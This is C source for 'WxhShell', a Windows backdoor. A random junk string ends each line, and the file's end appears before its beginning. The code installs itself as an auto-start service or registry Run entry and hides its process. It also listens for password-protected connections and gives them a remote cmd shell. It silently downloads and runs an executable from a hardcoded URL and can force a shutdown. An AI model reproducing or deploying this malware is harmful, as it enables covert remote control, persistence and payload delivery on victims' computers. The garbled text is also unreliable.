  case 'd': { a8bX"#OR&N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u,Q_WR-wJ  
    if(Boot(SHUTDOWN)) JO& ;bT<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aR="5{en{:  
    else { {hs2?#p  
    closesocket(wsh); , `[Z`SUk`  
    ExitThread(0); Ypn%[sSOp  
    } >tmnj/=&   
    break; S<y>Y  
    } I5TQ>WJbf  
  // 获取shell u:AfHZ  
  case 's': { CzzUi]*Ac{  
    CmdShell(wsh); w| -0@  
    closesocket(wsh); lnS\5J  
    ExitThread(0); Eo7 _v  
    break; ,`%k'ecN  
  } q19k<BqR  
  // 退出 `r~`N`o5A  
  case 'x': { _:ZFCDO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E !Oz|q  
    CloseIt(wsh); fR]p+\#8u*  
    break; E,*JPK-A x  
    } !~lVv&YO  
  // 离开 3ZW/$KP/  
  case 'q': { nJldz;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z^ aCQ3E  
    closesocket(wsh); hkmTpH1<M  
    WSACleanup(); r+[#%%}ea  
    exit(1); ="5k\1W1M  
    break; abTDa6 /`v  
        } |aI|yq)  
  } IL+#ynC  
  } 4DQ07w  
+X* F<6mZ  
  // 提示信息 ' D)1ka.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K)Df}fVOc  
} CU#L *kz  
  } 27Kc -rcB  
zK ' _e&*  
  return; 3i]"#wK  
} $n=W2WJ6f  
U,%s;  
// shell模块句柄 Q-! i$#-  
int CmdShell(SOCKET sock) RlI W&y  
{ S4l)TtY  
STARTUPINFO si; dJdD"xj  
ZeroMemory(&si,sizeof(si)); D_l/Gxdpr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LCo1{wi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QmWC2$b  
PROCESS_INFORMATION ProcessInfo; /32Ta  
char cmdline[]="cmd"; '|YtNhWZ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K:>NGGY8r  
  return 0; ILkjz^  
} } D/+<  
')AByD}Hi]  
// 自身启动模式 ALE808;|  
int StartFromService(void) D:YN_J"kV  
{ l1-4n*fU  
typedef struct -vv   
{ ".~Mm F  
  DWORD ExitStatus; im_w+h%^  
  DWORD PebBaseAddress; `7u\   
  DWORD AffinityMask; kdK*MUB  
  DWORD BasePriority; FX7Cjo#=R  
  ULONG UniqueProcessId; S_(&UeTC  
  ULONG InheritedFromUniqueProcessId; |QnUK5D$  
}   PROCESS_BASIC_INFORMATION; k9*J*7l-m  
ax-=n(   
PROCNTQSIP NtQueryInformationProcess; ^;V}l?J_s  
QE7+rBa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 96.IuwL*.s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SjZd0H0  
3gxf~$)?  
  HANDLE             hProcess; ~hS .\h  
  PROCESS_BASIC_INFORMATION pbi; #t"9TP  
vqrBRlZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M*g2VyZ  
  if(NULL == hInst ) return 0; $x;tSJ)m~  
Nf=C?`L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); httls>:xB|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y-E1]4?})  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z7'n, [  
]sX7%3P  
  if (!NtQueryInformationProcess) return 0; &M0o&C-1/  
pd=7^"[};  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N; rXl8  
  if(!hProcess) return 0; Nhjle@J<  
C$KaT3I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N+*(Y5TU  
G[|3^O>P  
  CloseHandle(hProcess); !d:tIu{)  
I?f"<5[0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TZ^{pvBy  
if(hProcess==NULL) return 0; (P2[5d|  
pWMiCXnW  
HMODULE hMod; D"`%|`O  
char procName[255]; {@Blj3;w}  
unsigned long cbNeeded; X }m7@r@  
1t0b Uf;(M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i{<8 hLO  
! a86iHU  
  CloseHandle(hProcess); =L:[cIRrT;  
Ly^E& ,)  
if(strstr(procName,"services")) return 1; // 以服务启动 X32RZ9y  
5\uNEs$T  
  return 0; // 注册表启动 *}+R{  
} FpP\-+Sl  
qv.[k<~a>  
// 主模块 IJ hxE  
int StartWxhshell(LPSTR lpCmdLine) MNkKy(Za  
{ ' " Bex`  
  SOCKET wsl; V %i<;C  
BOOL val=TRUE; Zk wJ.SuU  
  int port=0; B#J{F  
  struct sockaddr_in door; b OW}"  
uEBQoP2  
  if(wscfg.ws_autoins) Install(); YavfjS:2  
ri_P;#lz  
port=atoi(lpCmdLine); 8&i;hZm  
Xfj)gPt}  
if(port<=0) port=wscfg.ws_port; kBrvl^D{5  
`2pO5B50  
  WSADATA data; jeY4yM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J09*v )L  
w(aUEWYL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wUbmzP.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wh9L(0  
  door.sin_family = AF_INET; >r~0SMQr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #X4LLS]VV  
  door.sin_port = htons(port); a a4$'8s  
! &Z*yH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uRP Ff77  
closesocket(wsl); 2q12y Y f  
return 1; N0]z/}hd@  
} B<A:_'g  
_wMc*kjJO  
  if(listen(wsl,2) == INVALID_SOCKET) { 4\v~HFsv  
closesocket(wsl); Z&TD+fT<  
return 1; i"/r)>"b  
} HS7R lU^  
  Wxhshell(wsl); 8^i\Y;6  
  WSACleanup(); 5@K\c6   
bC6X?m=  
return 0; KUbJe)}g  
OE6#YT  
} P;jlHZ9?O  
5Qb;2!  
// 以NT服务方式启动 %?@x]B9Y8E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =1O?jrl~q  
{ AD(xaQ&T  
DWORD   status = 0; 4>l0V<  
  DWORD   specificError = 0xfffffff; =+`D  
*<w3" iq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o.v2z~V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /({P1ti:C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0xv\D0  
  serviceStatus.dwWin32ExitCode     = 0; \Ph]*%  
  serviceStatus.dwServiceSpecificExitCode = 0; II&<  
  serviceStatus.dwCheckPoint       = 0; 5qGGu.$Ihi  
  serviceStatus.dwWaitHint       = 0; ehU"*9  
anLbl#UV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q< dba12  
  if (hServiceStatusHandle==0) return; *JwFD^<j  
*}7U`Aa  
status = GetLastError(); nz>K{(  
  if (status!=NO_ERROR) O(odNQy~  
{ r;9z 5'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f;R>Pr;rD  
    serviceStatus.dwCheckPoint       = 0; fD0{ 5  
    serviceStatus.dwWaitHint       = 0; .6LS+[  
    serviceStatus.dwWin32ExitCode     = status; Sq<3Rw  
    serviceStatus.dwServiceSpecificExitCode = specificError; :r\xkHg/f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); So?m?,!W  
    return; "8FSA`>=  
  } y`({ .L  
h5 j<u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TWtC-wI;  
  serviceStatus.dwCheckPoint       = 0; 3=IG#6)~C  
  serviceStatus.dwWaitHint       = 0; $%B5$+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,eDu$8J9  
} <H!O:Mf_p  
~bWhth2*  
// 处理NT服务事件,比如:启动、停止 |"_)zQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )t 5;d  
{ >n(F4C-pl  
switch(fdwControl) s~=g*99H  
{ KLW&bJ$|j  
case SERVICE_CONTROL_STOP: S3QaYq"v  
  serviceStatus.dwWin32ExitCode = 0; 1}`2\3,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y!F!@`%G  
  serviceStatus.dwCheckPoint   = 0; 'bl%Y).9w  
  serviceStatus.dwWaitHint     = 0; lz- iCZ  
  { s88y{o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GZ <nXU>  
  } W|0My0y  
  return; sSNCosb  
case SERVICE_CONTROL_PAUSE: )]3L/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b##1hm~+9  
  break; @bE~@4mOu  
case SERVICE_CONTROL_CONTINUE: zqY)dk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]uAS+shQ&  
  break; '\ XsTs#L  
case SERVICE_CONTROL_INTERROGATE: @FU~1u3d  
  break; CPVmF$A-  
}; #sS9vv7i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G#|Hu;C6"  
} ]?M)NRk%S  
.5 ]{M\aA  
// 标准应用程序主函数 4'` C1a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jK e.gA  
{ _%;M9Sg3  
3hLqAj  
// 获取操作系统版本 72u db^  
OsIsNt=GetOsVer(); :1*zr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Eu #lV  
sLZ>v  
  // 从命令行安装 6A.P6DW  
  if(strpbrk(lpCmdLine,"iI")) Install(); {79qtq%W{  
* O5:  
  // 下载执行文件 vn``0!FX  
if(wscfg.ws_downexe) { (m/aV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 ]sCr+   
  WinExec(wscfg.ws_filenam,SW_HIDE); ~x\Cmu9`  
} Z~_8P  
g9`[Y~  
if(!OsIsNt) { YQ+^  
// 如果时win9x,隐藏进程并且设置为注册表启动 loBtd%wY  
HideProc(); O <>#>[  
StartWxhshell(lpCmdLine); vkuc8 li  
} m!0N"AjA  
else ex!XB$X  
  if(StartFromService()) Qne0kB5m  
  // 以服务方式启动 IyOpju)?  
  StartServiceCtrlDispatcher(DispatchTable); aTG[=)x L  
else VcrVaBw  
  // 普通方式启动 ?|lIXz  
  StartWxhshell(lpCmdLine); 6Etss!_  
lJUy;yp_+  
return 0; \1]rlzXGUT  
} &u=8r*  
BW>5?0E[4(  
SD^E7W$?  
JdO)YlM-  
=========================================== KXq_K:r?  
i+1Qf  
.$P|^Zx,  
b[yE~EQxr  
`\ R{5TU  
KxX[ S.C  
" !VFem~'d  
^EuW( "  
#include <stdio.h> d+Ds9(gV  
#include <string.h> R3Ee%0QK  
#include <windows.h> Fe5jdV<  
#include <winsock2.h> \q,s?`+B  
#include <winsvc.h> 6{8/P'@/Zz  
#include <urlmon.h> >J@egIKzP  
05"qi6tncz  
#pragma comment (lib, "Ws2_32.lib") g}m+f] |  
#pragma comment (lib, "urlmon.lib") VyY.r#@  
hF.6}28U1  
#define MAX_USER   100 // 最大客户端连接数 8""mp]o9  
#define BUF_SOCK   200 // sock buffer !!*;4FK"q  
#define KEY_BUFF   255 // 输入 buffer guE2THnz3D  
NocFvF7\  
#define REBOOT     0   // 重启 <ZVZ$ZW~D  
#define SHUTDOWN   1   // 关机 yhwy>12,K  
IkU|W3Vo  
#define DEF_PORT   5000 // 监听端口 KJdz v!l=  
;:T9IL  
#define REG_LEN     16   // 注册表键长度 .&PzkqWZ  
#define SVC_LEN     80   // NT服务名长度 VAs ( .y  
Y1WHy *s?  
// 从dll定义API !LiQ 1`V{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -;U3w.-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EX+,:l\^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n]v7V&mj\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {@45?L('  
=zOe b/  
// wxhshell配置信息 JjQVzkE  
struct WSCFG { m!:.>y  
  int ws_port;         // 监听端口 -bm,:Iy!  
  char ws_passstr[REG_LEN]; // 口令 v8~YR'T0`V  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]L8q  
  char ws_regname[REG_LEN]; // 注册表键名 ssA7Dx:  
  char ws_svcname[REG_LEN]; // 服务名 l]) Q.m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n/AW?'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e3g_At\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rREzM)GA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /BKtw8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E(;i>   
x2m]Us@LIU  
}; LipxAE?O  
9~~UM<66W  
// default Wxhshell configuration np=kTJ  
struct WSCFG wscfg={DEF_PORT, `iQqhx  
    "xuhuanlingzhe", ul=7>";=|  
    1, ;s}3e#$L  
    "Wxhshell", 7k~Lttuk  
    "Wxhshell", ]F+K|X9-  
            "WxhShell Service", sf)W~Lx 5a  
    "Wrsky Windows CmdShell Service", :".w{0l@  
    "Please Input Your Password: ", Ihqs%;V  
  1, c D7FfJ  
  "http://www.wrsky.com/wxhshell.exe", fv2=B )8$  
  "Wxhshell.exe" :,^>d3k  
    }; GS4_jvD-  
K:_($X]  
// 消息定义模块 W&KM/9d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )x[HuIRaa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -TS? fne)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nvH|Ngg Q  
char *msg_ws_ext="\n\rExit."; ) Fx ?%  
char *msg_ws_end="\n\rQuit."; 0D~=SekQ 9  
char *msg_ws_boot="\n\rReboot..."; ZF'HM@cfo  
char *msg_ws_poff="\n\rShutdown..."; 3Oiy)f@{TF  
char *msg_ws_down="\n\rSave to "; 11{y}J  
!^L-T?y.2  
char *msg_ws_err="\n\rErr!"; 8&."uEOOU  
char *msg_ws_ok="\n\rOK!"; +v-LL*fa  
M _(2sq  
char ExeFile[MAX_PATH]; o%qkqK1  
int nUser = 0; Ia7D F'  
HANDLE handles[MAX_USER]; 7kd|K b(  
int OsIsNt; OD|1c6+X  
,ux+Qz5(  
SERVICE_STATUS       serviceStatus; ]7vf#1i<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Q[yD<)Ubs  
u5F}(+4r  
// 函数声明 1.0J2nZpt  
int Install(void); x5F@ad 9  
int Uninstall(void); Vhph`[dC{  
int DownloadFile(char *sURL, SOCKET wsh); aS/`A  
int Boot(int flag); mp:m`sh*i  
void HideProc(void); L;yEz[#xaT  
int GetOsVer(void); /[?Jylj  
int Wxhshell(SOCKET wsl); &O*ENpF  
void TalkWithClient(void *cs); ]! )xr  
int CmdShell(SOCKET sock); w+=Q6]FxJ  
int StartFromService(void); [b;Uz|o  
int StartWxhshell(LPSTR lpCmdLine); -l[jEJS}  
(}jL_E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <+q$XL0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); enumK\  
K(3&27sGN  
// 数据结构和表定义 P^zy;Qs7  
SERVICE_TABLE_ENTRY DispatchTable[] = A{(T'/~"  
{ 41}/w3Z4  
{wscfg.ws_svcname, NTServiceMain}, )E-E0Hl>7  
{NULL, NULL} YxyG\J\|,  
}; ANb"oX c  
n_P(k-^U*  
// 自我安装 }p{;^B  
int Install(void) *8UYSA~v  
{ yoU2AMH2D^  
  char svExeFile[MAX_PATH]; OoM_q/oI  
  HKEY key; c[:Wf<% |  
  strcpy(svExeFile,ExeFile); t:T?7-XIE  
Nb1J ~v  
// 如果是win9x系统,修改注册表设为自启动 = UUd8,C/  
if(!OsIsNt) { 4By]vd<;=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @woC8X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>W@U9  
  RegCloseKey(key); >BJ}U_ck  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |D<+X^0'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *l-`<.  
  RegCloseKey(key); m^A]+G#/  
  return 0; "K ?#,_  
    } n$W"=Z;`  
  } jsdBd2Gdc  
}  2d~LNy  
else { ?4sJw:  
1ktHN: ta  
// 如果是NT以上系统,安装为系统服务 Z"D W 2k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N7pt:G2~%  
if (schSCManager!=0) q^]tyU!w  
{ Q!]IG;3Sx|  
  SC_HANDLE schService = CreateService  (YrR8  
  ( ^IgS  
  schSCManager, [Xh\m DU.  
  wscfg.ws_svcname, pYh!]0n  
  wscfg.ws_svcdisp, $T/#1w P  
  SERVICE_ALL_ACCESS, = t-fYV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [-58Ezyr  
  SERVICE_AUTO_START, $?$9y ^\  
  SERVICE_ERROR_NORMAL, 3agNBF2  
  svExeFile, 6|oWaA\gI  
  NULL, UE;Bb*<   
  NULL, v F[CWV.  
  NULL, o8tS  
  NULL, 0[9I0YBJ  
  NULL Mr.JLW  
  ); L$}g3{  
  if (schService!=0) LU( %K{9  
  { M')bHB(~v  
  CloseServiceHandle(schService); u<kD}  
  CloseServiceHandle(schSCManager); 9v$qrM`8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <soj&f+  
  strcat(svExeFile,wscfg.ws_svcname); PI63RH8e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H pFb{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  0Ve%.k  
  RegCloseKey(key); %YCd%lAe,  
  return 0; VF= Z`  
    } CO'ar,  
  } -5xCQJ[  
  CloseServiceHandle(schSCManager); xD0NZ~w%  
} /x/4NeD  
} N]u2ql&  
-ek1$y9)  
return 1; m#MlH=-  
} agW9Go_F[  
B52H(sm  
// 自我卸载 o\60 n  
int Uninstall(void) r`[B@  
{ 0\wiam-  
  HKEY key; xKb"p4k9d  
H|K("AVP:  
if(!OsIsNt) { e/@29  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w%rg\E  
  RegDeleteValue(key,wscfg.ws_regname); j8c6[ih  
  RegCloseKey(key); \gd6Yx^[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3&9zGy{V+  
  RegDeleteValue(key,wscfg.ws_regname); RpAiU  
  RegCloseKey(key); C Oa.xyp  
  return 0; */Cj$KY70  
  }  mmcdtVe  
} _k|g@"  
} 0 {,h.:  
else { V&R$8tpz  
GmAj</~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6}STp_x  
if (schSCManager!=0) C d|W#.6  
{ %wtXo BJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zHqhl}  
  if (schService!=0) rg*^w!   
  { m r2S!  
  if(DeleteService(schService)!=0) { /W0E(8:C)  
  CloseServiceHandle(schService); =%L@WVbM  
  CloseServiceHandle(schSCManager); 9#fp_G;=  
  return 0; &M= 3{[  
  } EIPnm%{1  
  CloseServiceHandle(schService); c"qPTjY  
  } w49{-Pp[  
  CloseServiceHandle(schSCManager); /4-}k  
} k{{hZ/om  
} p_9g|B0D  
lZvS0JS  
return 1; C/y(E |zC$  
} {( dP  
44j,,k  
// 从指定url下载文件 ]<q'U> N  
int DownloadFile(char *sURL, SOCKET wsh) 7dHIW!OA  
{ W6M jQ%f  
  HRESULT hr; vs\|rLa  
char seps[]= "/"; jOv~!7T  
char *token; `{<JC{yc?  
char *file; qS| AdkNL  
char myURL[MAX_PATH]; E#a ZvE  
char myFILE[MAX_PATH]; =R2l3-HA=  
DU`v J2  
strcpy(myURL,sURL); 'QnW9EHLF  
  token=strtok(myURL,seps); *73AAA5LKa  
  while(token!=NULL) BtID;^D z  
  { M2L0c?  
    file=token; ZHcONYAr  
  token=strtok(NULL,seps); Y.X4*B  
  } DiR'p`b~  
<uC<GDO  
GetCurrentDirectory(MAX_PATH,myFILE); E$R_rX4x  
strcat(myFILE, "\\"); wcl!S{  
strcat(myFILE, file); VW~Xbyf  
  send(wsh,myFILE,strlen(myFILE),0); VRB~7\A5<)  
send(wsh,"...",3,0); x RB7lV*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ivD^HhG  
  if(hr==S_OK) s|E%~j[9  
return 0; E^82==R  
else "\<P$&`HA  
return 1; U&s(1~e\  
{IrJLlq  
} 7~D`b1||  
4/f[`].#W  
// 系统电源模块 l<Lz{)OR  
int Boot(int flag) ?l>e75V%w  
{ Y!aLf[x]  
  HANDLE hToken; 7g8B'ex J  
  TOKEN_PRIVILEGES tkp; &#Wkww&Y  
Bqp&2zg)@  
  if(OsIsNt) { w0X$rl1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); > R#9\/s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d _uF Y:  
    tkp.PrivilegeCount = 1; g*28L[Q~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }`#B f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t +J)dr  
if(flag==REBOOT) { zG<0CZQ8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "!^c  
  return 0; a 1NCVZ  
} C?S~L5a#oC  
else { u,\xok"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (c<f<D|  
  return 0; xp(mB7;:  
} 8| Sba<d  
  } 7fUi?41XA  
  else { I IYLA(  
if(flag==REBOOT) { AsD1-$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "`[$&:~  
  return 0; Ae.]F)w_\  
} tfsh!)u?  
else { &`m~o/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %Dl_}  
  return 0; ti+pUlVrM  
} -;f+; M  
} uO6c3|Zjs  
pL%4= ]m  
return 1; }0vtc[!  
} wqf&i^_  
tG_-;03<`4  
// win9x进程隐藏模块 2=Jmi?k  
void HideProc(void) 7f[8ED[4  
{ z(#=tC|  
[rc'/@L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UJ O]sD`i  
  if ( hKernel != NULL ) 0:s8o@}  
  { g:;Ya?5N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !\3 }R25  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3b,=  
    FreeLibrary(hKernel); 1 iquHn  
  } JtThkh'-"  
cj`#Tg.  
return; ,b.kw}k  
} r,QJG$ Jo  
#%;<FFu\  
// 获取操作系统版本 Q.*'H_Y  
int GetOsVer(void) V2lp7"  
{ UP5%C;  
  OSVERSIONINFO winfo; ^GrNfB[Qu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xu`d`!Tx  
  GetVersionEx(&winfo); Vvx a.B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S[ws0Y60  
  return 1; *1R##9\jU7  
  else ~>.awu+o|  
  return 0; neK*jdaP  
} 5c*p2:]  
r*c82}tc  
// 客户端句柄模块 )`e^F9L  
int Wxhshell(SOCKET wsl) -,[~~  
{ _!| =AIX  
  SOCKET wsh; <XU8a:w'T  
  struct sockaddr_in client; h5<T.vV  
  DWORD myID; h 3eGq:!9  
Xqc'R5C w  
  while(nUser<MAX_USER) X S6]C{  
{ f2BS[$oV4  
  int nSize=sizeof(client); 2Zv,K-G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -WQ_[t9l  
  if(wsh==INVALID_SOCKET) return 1; uPM8GIvZX.  
W dei`u[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iH($rSE  
if(handles[nUser]==0) K]*g, s+  
  closesocket(wsh); *Pa2bY3:  
else &n}8Uw0440  
  nUser++; vcaBL<io  
  } {yGZc3e1j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kc%tnVyGh:  
{vf+sf ^^q  
  return 0; G~Sy&XJuq  
}  aOaF&6'j  
N02zPC 8  
// 关闭 socket %ZJ),9+  
void CloseIt(SOCKET wsh) ';i"?D?NAk  
{ \=HfO?$ Ro  
closesocket(wsh); @1/Q  
nUser--; $71i+h]_  
ExitThread(0); zpBBnlq  
} !"Z."fm*  
MoC*tImWR  
// 客户端请求句柄 > u'/$ k  
void TalkWithClient(void *cs) > #Grf)@"6  
{ azz#@f1  
5<'n  
  SOCKET wsh=(SOCKET)cs; 4SX3c:>  
  char pwd[SVC_LEN]; MR^umLM88  
  char cmd[KEY_BUFF]; N]3-L`t  
char chr[1]; +!mNm?H[!  
int i,j; xCDA1y;j  
Fh*q]1F  
  while (nUser < MAX_USER) { XHwZ+=v  
HV#?6,U}  
if(wscfg.ws_passstr) { O>)n*OsS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G2U5[\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !UUmy% 9  
  //ZeroMemory(pwd,KEY_BUFF); awj}K  
      i=0; :)^# xE(  
  while(i<SVC_LEN) { &>+I7Ts]  
6E)uu; 8  
  // 设置超时 hY4)W  
  fd_set FdRead; n.;5P {V1  
  struct timeval TimeOut;  "@UU[o  
  FD_ZERO(&FdRead); (ffOu#RQ3  
  FD_SET(wsh,&FdRead); 9RCB$Ka6X  
  TimeOut.tv_sec=8; ~Q.8 U3"  
  TimeOut.tv_usec=0; /j=DC9_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , }xpYq_/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vq)|gF[6i  
#`YxoY`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z=- 8iks|  
  pwd=chr[0]; [[.&,6  
  if(chr[0]==0xd || chr[0]==0xa) { 1@1+4P0NF[  
  pwd=0; U|y;b+n`  
  break; 3:02`;3  
  } 6T} CPDRq  
  i++; '&_y*"/c  
    } Up1$xLSl  
c(_oK ?  
  // 如果是非法用户,关闭 socket os "[Iji  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mcP{-oJ0W  
} : . FfE  
#J<`p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8CN7+V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V29S*  
eNlF2M  
while(1) { J*^,l`C/  
IV 3@6t4k  
  ZeroMemory(cmd,KEY_BUFF); w|hyU4- ^  
rH#c:BwSm  
      // 自动支持客户端 telnet标准   a|] %/[G@  
  j=0; mZ& \3m=  
  while(j<KEY_BUFF) { @wAr[.lZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /ut~jf`  
  cmd[j]=chr[0]; UG^?a  
  if(chr[0]==0xa || chr[0]==0xd) { *x# &[>  
  cmd[j]=0; N('S2yfDR  
  break; /v|68x6  
  } ba:mO$  
  j++; H( DVVHx  
    } r['=a/.C  
F] dd>#  
  // 下载文件 ?Uy*6YS  
  if(strstr(cmd,"http://")) { dl3LDB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /!&b'7y  
  if(DownloadFile(cmd,wsh)) c?V*X-   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5qeS|]^`  
  else R; Gl{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X-;Qorb^  
  } ]B-$p p  
  else { %RT6~0z  
J!TK*\a2  
    switch(cmd[0]) { B3g82dm  
